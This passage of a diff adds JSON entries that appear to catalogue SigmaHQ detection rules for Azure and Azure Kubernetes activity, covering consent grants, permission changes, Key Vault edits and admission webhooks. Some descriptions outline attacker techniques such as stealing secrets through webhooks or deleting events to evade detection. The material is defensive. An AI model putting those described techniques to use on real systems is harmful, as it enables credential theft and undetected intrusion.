"logsource.product": "azure" + } + }, + { + "description": "Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments.\nIf this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted.\nThis can be a misconfigured application or potentially something malicious.\n", + "uuid": "248649b7-d64f-46f0-9fb2-a52774166fb5", + "value": "Application Using Device Code Authentication Flow", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_device_code_authentication.yml" + ], + "tags": [ + "attack.t1078", + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.initial_access" + ], + "creation_date": "2022/06/01", + "filename": "azure_app_device_code_authentication.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "medium", + "falsepositive": [ + "Applications that are input constrained will need to use device code flow and are valid authentications." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when an end user consents to an application", + "uuid": "9b2cc4c4-2ad4-416d-8e8e-ee6aa6f5035a", + "value": "End User Consent", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-consent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/28", + "filename": "azure_app_end_user_consent.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when end user consent is blocked due to risk-based consent.", + "uuid": "7091372f-623c-4293-bc37-20c32b3492be", + "value": "End User Consent Blocked", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-stopped-due-to-risk-based-consent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_end_user_consent_blocked.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/10", + "filename": "azure_app_end_user_consent_blocked.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.", + "uuid": "74298991-9fc4-460e-a92e-511aa60baec1", + "value": "Added Owner To Application", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#new-owner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_owner_added.yml" + ], + "tags": [ + "attack.t1528", + "attack.persistence", + "attack.credential_access", + "attack.defense_evasion" + ], + "creation_date": "2022/06/02", + "filename": "azure_app_owner_added.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "medium", + "falsepositive": [ + "When a new application owner is added by an administrator" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when app permissions (app roles) for other APIs are granted", + "uuid": "ba2a7c80-027b-460f-92e2-57d113897dbc", + "value": "App Permissions Granted For Other APIs", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_for_api.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/28", + "filename": "azure_app_permissions_for_api.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "medium", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD", + "uuid": "c1d147ae-a951-48e5-8b41-dcd0170c7213", + "value": "App Granted Microsoft Permissions", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_permissions_msft.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/10", + "filename": "azure_app_permissions_msft.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "high", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions", + "uuid": "5aecf3d5-f8a0-48e7-99be-3a759df7358f", + "value": "App Granted Privileged Delegated Or App Permissions", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-granted-highly-privileged-permissions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_privileged_permissions.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/07/28", + "filename": "azure_app_privileged_permissions.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "high", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + "logsource.product": "microsoft365portal" + } + }, + { + "description": "Detects when an app is assigned Azure AD roles, such as global adminsitrator, or Azure RBAC roles, such as subscription owner.", + "uuid": "b04934b2-0a68-4845-8a19-bdfed3a68a7a", + "value": "App Role Added", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#service-principal-assigned-to-a-role", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_role_added.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/19", + "filename": "azure_app_role_added.yml", + "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'", + "level": "medium", + "falsepositive": [ + "When the permission is legitimately needed for the app" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly.\nThe application then uses those credentials to authenticate the user against the identity provider.\n", + "uuid": "55695bc0-c8cf-461f-a379-2535f563c854", + "value": "Applications That Are Using ROPC Authentication Flow", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-authentication-flows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_ropc_authentication.yml" + ], + "tags": [ + "attack.t1078", + "attack.defense_evasion", + "attack.persistence", + "attack.privilege_escalation", + "attack.initial_access" + ], + "creation_date": "2022/06/01", + "filename": "azure_app_ropc_authentication.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "medium", + "falsepositive": [ + "Applications that are being used as part of automated testing or a legacy application that cannot use any other modern authentication flow" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a configuration change is made to an applications URI.\nURIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.\n", + "uuid": "0055ad1f-be85-4798-83cf-a6da17c993b3", + "value": "Application URI Configuration Changes", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-configuration-changes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_app_uri_modifications.yml" + ], + "tags": [ + "attack.t1528", + "attack.persistence", + "attack.credential_access" + ], + "creation_date": "2022/06/02", + "filename": "azure_app_uri_modifications.yml", + "author": "Mark Morowczynski '@markmorow', Bailey Bercik '@baileybercik'", + "level": "high", + "falsepositive": [ + "When and administrator is making legitimate URI configuration changes to an application. This should be a planned event." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when an account is disabled or blocked for sign in but tried to log in", + "uuid": "4afac85c-224a-4dd7-b1af-8da40e1c60bd", + "value": "Account Disabled or Blocked for Sign in Attempts", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_blocked_account_attempt.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2022/06/17", + "filename": "azure_blocked_account_attempt.yml", + "author": "Yochana Henderson, '@Yochana-H'", + "level": "medium", + "falsepositive": [ + "Account disabled or blocked in error", + "Automation account has been blocked or disabled" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Change to authentication method could be an indicated of an attacker adding an auth method to the account so they can have continued access.", + "uuid": "4d78a000-ab52-4564-88a5-7ab5242b20c7", + "value": "Change to Authentication Method", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_change_to_authentication_method.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2021/10/10", + "filename": "azure_change_to_authentication_method.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Define a baseline threshold for failed sign-ins due to Conditional Access failures", + "uuid": "b4a6d707-9430-4f5f-af68-0337f52d5c42", + "value": "Sign-in Failure Due to Conditional Access Requirements Not Met", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_conditional_access_failure.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2022/06/01", + "filename": "azure_conditional_access_failure.yml", + "author": "Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "Service Account misconfigured", + "Misconfigured Systems", + "Vulnerability Scanners" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a Container Registry is created or deleted.", + "uuid": "93e0ef48-37c8-49ed-a02c-038aab23628e", + "value": "Azure Container Registry Created or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_container_registry_created_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_container_registry_created_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Number of VM creations or deployment activities occur in Azure via the azureactivity log.", + "uuid": "d2d901db-7a75-45a1-bc39-0cbf00812192", + "value": "Number Of Resource Creation Or Deployment Activities", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_creating_number_of_resources_detection.yml" + ], + "tags": [ + "attack.t1098" + ], + "creation_date": "2020/05/07", + "filename": "azure_creating_number_of_resources_detection.yml", + "author": "sawwinnnaung", + "level": "medium", + "falsepositive": [ + "Valid change" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a device in azure is no longer managed or compliant", + "uuid": "542b9912-c01f-4e3f-89a8-014c48cdca7d", + "value": "Azure Device No Longer Managed or Compliant", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_no_longer_managed_or_compliant.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/03", + "filename": "azure_device_no_longer_managed_or_compliant.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Administrator may have forgotten to review the device." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a device or device configuration in azure is modified or deleted.", + "uuid": "46530378-f9db-4af9-a9e5-889c177d3881", + "value": "Azure Device or Configuration Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_or_configuration_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/03", + "filename": "azure_device_or_configuration_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Device or device configuration being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Device or device configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when DNS zone is modified or deleted.", + "uuid": "af6925b0-8826-47f1-9324-337507a0babd", + "value": "Azure DNS Zone Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_dns_zone_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_dns_zone_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when an user or application modified the federation settings on the domain.", + "uuid": "352a54e1-74ba-4929-9d47-8193d67aba1e", + "value": "Azure Domain Federation Settings Modified", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1078", + "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_federation_modified.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/09/06", + "filename": "azure_federation_modified.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Federation Settings being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Federation Settings modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a firewall is created, modified, or deleted.", + "uuid": "512cf937-ea9b-4332-939c-4c2c94baadcd", + "value": "Azure Firewall Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_firewall_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.", + "uuid": "025c9fe7-db72-49f9-af0d-31341dd7dd57", + "value": "Azure Firewall Rule Collection Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_rule_collection_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_firewall_rule_collection_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", + "uuid": "a622fcd2-4b5a-436a-b8a2-a4171161833c", + "value": "Granting Of Permissions To An Account", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_granting_permission_detection.yml" + ], + "tags": [ + "attack.t1098" + ], + "creation_date": "2020/05/07", + "filename": "azure_granting_permission_detection.yml", + "author": "sawwinnnaung", + "level": "medium", + "falsepositive": [ + "Valid change" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on group membership additions of groups that have CA policy modification access", + "uuid": "91c95675-1f27-46d0-bead-d1ae96b97cd3", + "value": "User Added To Group With CA Policy Modification Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_addition_ca_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/04", + "filename": "azure_group_user_addition_ca_modification.yml", + "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", + "level": "medium", + "falsepositive": [ + "User removed from the group is approved" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on group membership removal of groups that have CA policy modification access", + "uuid": "665e2d43-70dc-4ccc-9d27-026c9dd7ed9c", + "value": "User Removed From Group With CA Policy Modification Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_removal_ca_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/04", + "filename": "azure_group_user_removal_ca_modification.yml", + "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", + "level": "medium", + "falsepositive": [ + "User removed from the group is approved" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.", + "uuid": "0b4b72e3-4c53-4d5b-b198-2c58cfef39a9", + "value": "Guest User Invited By Non Approved Inviters", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_invite_failure.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/10", + "filename": "azure_guest_invite_failure.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "medium", + "falsepositive": [ + "A non malicious user is unaware of the proper process" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects the change of user type from \"Guest\" to \"Member\" for potential elevation of privilege.", + "uuid": "8dee7a0d-43fd-4b3c-8cd1-605e189d195e", + "value": "User State Changed From Guest To Member", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_to_member.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/06/30", + "filename": "azure_guest_to_member.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Keyvault Key is modified or deleted in Azure.", + "uuid": "80eeab92-0979-4152-942d-96749e11df40", + "value": "Azure Keyvault Key Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_key_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access", + "attack.t1552", + "attack.t1552.001" + ], + "creation_date": "2021/08/16", + "filename": "azure_keyvault_key_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Key being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a key vault is modified or deleted.", + "uuid": "459a2970-bb84-4e6a-a32e-ff0fbd99448d", + "value": "Azure Key Vault Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access", + "attack.t1552", + "attack.t1552.001" + ], + "creation_date": "2021/08/16", + "filename": "azure_keyvault_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Key Vault being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Key Vault modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when secrets are modified or deleted in Azure.", + "uuid": "b831353c-1971-477b-abb6-2828edc3bca1", + "value": "Azure Keyvault Secrets Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_secrets_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access", + "attack.t1552", + "attack.t1552.001" + ], + "creation_date": "2021/08/16", + "filename": "azure_keyvault_secrets_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Secrets being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when an admission controller is executed in Azure Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\nAn adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", + "uuid": "a61a3c56-4ce2-4351-a079-88ae4cbd2b58", + "value": "Azure Kubernetes Admission Controller", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_admission_controller.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1078", + "attack.credential_access", + "attack.t1552", + "attack.t1552.007" + ], + "creation_date": "2021/11/25", + "filename": "azure_kubernetes_admission_controller.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Azure Kubernetes Admissions Controller may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a Azure Kubernetes Cluster is created or deleted.", + "uuid": "9541f321-7cba-4b43-80fc-fbd1fb922808", + "value": "Azure Kubernetes Cluster Created or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cluster_created_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_cluster_created_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Kubernetes cluster being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", + "uuid": "1c71e254-6655-42c1-b2d6-5e4718d7fc0a", + "value": "Azure Kubernetes CronJob", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cronjob.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.execution" + ], + "creation_date": "2021/11/22", + "filename": "azure_kubernetes_cronjob.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Azure Kubernetes CronJob/Job may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.", + "uuid": "225d8b09-e714-479c-a0e4-55e6f29adf35", + "value": "Azure Kubernetes Events Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_events_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562", + "attack.t1562.001" + ], + "creation_date": "2021/07/24", + "filename": "azure_kubernetes_events_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Azure Kubernetes network policy is modified or deleted.", + "uuid": "08d6ac24-c927-4469-b3b7-2e422d6e3c43", + "value": "Azure Kubernetes Network Policy Change", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_network_policy_change.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_network_policy_change.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + 